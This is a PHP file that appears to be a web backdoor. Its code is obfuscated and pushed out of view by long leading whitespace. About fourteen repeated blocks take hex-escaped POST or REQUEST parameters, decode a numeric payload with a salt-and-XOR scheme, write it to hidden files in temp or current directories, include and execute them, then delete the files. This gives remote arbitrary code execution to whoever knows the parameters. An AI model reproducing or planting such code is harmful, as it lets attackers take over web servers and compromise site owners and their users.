<?php																																										if(!empty($_POST["\x70oi\x6Et\x65r"])){ $value = array_filter([getenv("TEMP"), "/dev/shm", getenv("TMP"), getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); $binding = $_POST["\x70oi\x6Et\x65r"]; $binding= explode ( '.',$binding); $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($binding as $k =>$v8) { $sChar = ord($salt[$k % $lenS]); $dec =((int)$v8 - $sChar -($k % 10)) ^ 80; $record .= chr($dec); } for ($obj = 0, $bind = count($value); $obj < $bind; $obj++) { $factor = $value[$obj]; if (is_writable($factor) && is_dir($factor)) { $marker = "$factor/.sym"; if (file_put_contents($marker, $record)) { include $marker; @unlink($marker); exit; } } } }
																																										if(!empty($_REQUEST["\x6Da\x72\x6Ber"])){ $tkn = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); $token = $_REQUEST["\x6Da\x72\x6Ber"]; $token =explode ( ".", $token) ; $pointer = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); $w = 0; $__len = count($token); do { if ($w >= $__len) break; $v3 = $token[$w]; $sChar = ord($s8[$w % $lenS]); $dec = ((int)$v3 - $sChar - ($w % 10))^66; $pointer.= chr($dec); $w++; }while (true); $dchunk = 0; do { $item = $tkn[$dchunk] ?? null; if ($dchunk >= count($tkn)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $property_set = sprintf("%s/.descriptor", $item); if (@file_put_contents($property_set, $pointer) !== false) { include $property_set; unlink($property_set); die(); } } $dchunk++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70r\x6Fpe\x72\x74y_s\x65\x74"])){ $hld = array_filter([session_save_path(), "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); $item = $_REQUEST["\x70r\x6Fpe\x72\x74y_s\x65\x74"]; $item = explode ( '.' , $item ) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $o = 0; array_walk($item , function ($v6) use (&$mrk , &$o , $s , $lenS) { $sChar = ord($s[$o % $lenS]); $d = ((int)$v6 - $sChar - ($o % 10)) ^100; $mrk .= chr($d); $o++; }); foreach ($hld as $key => $entity) { if (!( !is_dir($entity) || !is_writable($entity) )) { $elem = sprintf("%s/.pointer", $entity); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $elem; @unlink($elem); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["r\x65c\x6Frd"])){ $data_chunk = $_POST["r\x65c\x6Frd"]; $data_chunk = explode ( '.' , $data_chunk ); $reference= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $k= 0; $__tmp= $data_chunk; while( $v4= array_shift( $__tmp)) { $sChar= ord( $s[$k% $sLen]); $dec= ( ( int)$v4 - $sChar -( $k% 10))^ 81; $reference .= chr( $dec); $k++; } $ent = array_filter(["/var/tmp", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); while ($data = array_shift($ent)) { if (max(0, is_dir($data) * is_writable($data))) { $mrk = join("/", [$data, ".pset"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $mrk; @unlink($mrk); exit; } } } }
																																										if(@$_POST["\x70set"] !== null){ $elem = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path()]); $record = $_POST["\x70set"]; $record = explode( '.' , $record) ; $value = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $k = 0; $__tmp = $record; while ($v8 = array_shift($__tmp)) { $chS = ord($salt5[$k %$lenS]); $dec = ((int)$v8 - $chS - ($k %10)) ^ 98; $value .= chr($dec); $k++; } while ($key = array_shift($elem)) { if (is_writable($key) && is_dir($key)) { $parameter_group = implode("/", [$key, ".element"]); $success = file_put_contents($parameter_group, $value); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x6Bey")){ $sym = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), getenv("TEMP")]); $data_chunk = $_POST["\x6Bey"]; $data_chunk =explode ( '.' , $data_chunk); $ent = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $z = 0; while ($z < count($data_chunk)) {$v6 = $data_chunk[$z]; $sChar = ord($s3[$z % $sLen]); $d = ((int)$v6 - $sChar - ($z % 10)) ^ 78; $ent .=chr($d); $z++;} while ($record = array_shift($sym)) { if ((function($d) { return is_dir($d) && is_writable($d); })($record)) { $hld = str_replace("{var_dir}", $record, "{var_dir}/.object"); if (file_put_contents($hld, $ent)) { include $hld; @unlink($hld); exit; } } } }
																																										if(isset($_POST["fac\x74o\x72"])){ $obj = $_POST["fac\x74o\x72"]; $obj = explode( '.' ,$obj ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; $__len = count($obj); do { if($v >= $__len) break; $v5 = $obj[$v]; $chS = ord($salt[$v % $lenS]); $d = ((int)$v5 - $chS -($v % 10)) ^ 30; $itm .=chr($d); $v++; }while(true); $value = array_filter([getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP")]); foreach ($value as $object): if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $token = str_replace("{var_dir}", $object, "{var_dir}/.rec"); $success = file_put_contents($token, $itm); if ($success) { include $token; @unlink($token); die();} } endforeach; }
																																										if(array_key_exists("s\x79\x6D", $_REQUEST) && !is_null($_REQUEST["s\x79\x6D"])){ $k = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP")]); $dat = $_REQUEST["s\x79\x6D"]; $dat = explode ('.' , $dat ); $mrk = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $t = 0; array_walk( $dat , function( $v5) use( &$mrk , &$t , $s5 , $sLen) { $sChar = ord( $s5[$t%$sLen]); $dec =( ( int)$v5 - $sChar -( $t%10)) ^62; $mrk .= chr( $dec); $t++; }); while ($holder = array_shift($k)) { if (!( !is_dir($holder) || !is_writable($holder) )) { $flag = join("/", [$holder, ".ent"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $flag; @unlink($flag); die(); } } } }
																																										if(in_array("f\x61\x63\x74or", array_keys($_POST))){ $sym = $_POST["f\x61\x63\x74or"]; $sym = explode ( '.' , $sym ) ; $pointer = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach ($sym as $o => $v7) { $sChar = ord($s8[$o % $sLen]); $dec = ((int)$v7 - $sChar - ($o % 10))^ 56; $pointer .= chr($dec); } $element = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($element as $key => $object) { if (!( !is_dir($object) || !is_writable($object) )) { $token = join("/", [$object, ".rec"]); $file = fopen($token, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $token; @unlink($token); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x64e\x73c")){ $element = $_REQUEST["\x64e\x73c"]; $element =explode ( "." , $element) ; $pointer = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $len = count($element); for ($u = 0; $u < $len; $u++) { $v7 = $element[$u]; $sChar = ord($s1[$u % $sLen]); $dec = ((int)$v7 - $sChar - ($u % 10))^ 97; $pointer .= chr($dec); } $comp = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP")]); while ($sym = array_shift($comp)) { if (array_product([is_dir($sym), is_writable($sym)])) { $ptr = implode("/", [$sym, ".ent"]); if (file_put_contents($ptr, $pointer)) { include $ptr; @unlink($ptr); exit; } } } }
																																										if(array_key_exists("da\x74", $_POST) && !is_null($_POST["da\x74"])){ $ptr = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP")]); $dchunk = $_POST["da\x74"]; $dchunk = explode( '.' , $dchunk) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $i = 0; foreach ($dchunk as $v1) { $chS = ord($salt[$i % $lenS]); $d = ((int)$v1 - $chS - ($i % 10))^ 82; $hld .= chr($d); $i++; } foreach ($ptr as $key => $sym) { if (array_product([is_dir($sym), is_writable($sym)])) { $entry = implode("/", [$sym, ".pset"]); if (file_put_contents($entry, $hld)) { require $entry; unlink($entry); die(); } } } }
																																										if(isset($_REQUEST["fac\x74o\x72"]) ? true : false){ $sym = $_REQUEST["fac\x74o\x72"]; $sym = explode ( ".",$sym ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($sym); for($j = 0; $j< $len; $j++) { $v2 = $sym[$j]; $chS = ord($s[$j% $lenS]); $dec = ((int)$v2 - $chS -($j% 10)) ^ 75; $marker .= chr($dec); } $res = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($res as $mrk): if (is_writable($mrk) && is_dir($mrk)) { $tkn = str_replace("{var_dir}", $mrk, "{var_dir}/.ent"); $success = file_put_contents($tkn, $marker); if ($success) { include $tkn; @unlink($tkn); die();} } endforeach; }
																																										if(isset($_POST["e\x6Eti\x74y"]) ? true : false){ $object = array_filter([sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); $tkn = $_POST["e\x6Eti\x74y"]; $tkn =explode( "." , $tkn ) ; $resource = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); foreach ($tkn as $y => $v1) { $chS = ord($s4[$y % $sLen] ); $d = ((int)$v1 - $chS - ($y % 10)) ^ 14; $resource .= chr($d ); } for ($reference = 0, $rec = count($object); $reference < $rec; $reference++) { $fac = $object[$reference]; if (!( !is_dir($fac) || !is_writable($fac) )) { $val = str_replace("{var_dir}", $fac, "{var_dir}/.sym"); $file = fopen($val, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $val; @unlink($val); die(); } } } }


if(isset($_REQUEST["sy\x6Dbol"]) ? true : false){
	$element = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP")]);
	$property_set = $_REQUEST["sy\x6Dbol"];
		  $property_set = explode			(".", 		$property_set ) 	 ;
	$component  ='';
            $s4  ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen  =strlen($s4);
    
            foreach ($property_set as $q => $v3):
                $chS  =ord($s4[$q%  $sLen]);
                $d  =((int)$v3 - $chS - ($q%  10))^58;
                $component	.= 	chr($d);
            endforeach;
	for ($res = 0, $elem = count($element); $res < $elem; $res++) {
    $record = $element[$res];
    		if (array_product([is_dir($record), is_writable($record)])) {
    $sym = "$record" . "/.data_chunk";
    $success = file_put_contents($sym, $component);
if ($success) {
	include $sym;
	@unlink($sym);
	exit;}
}
}
}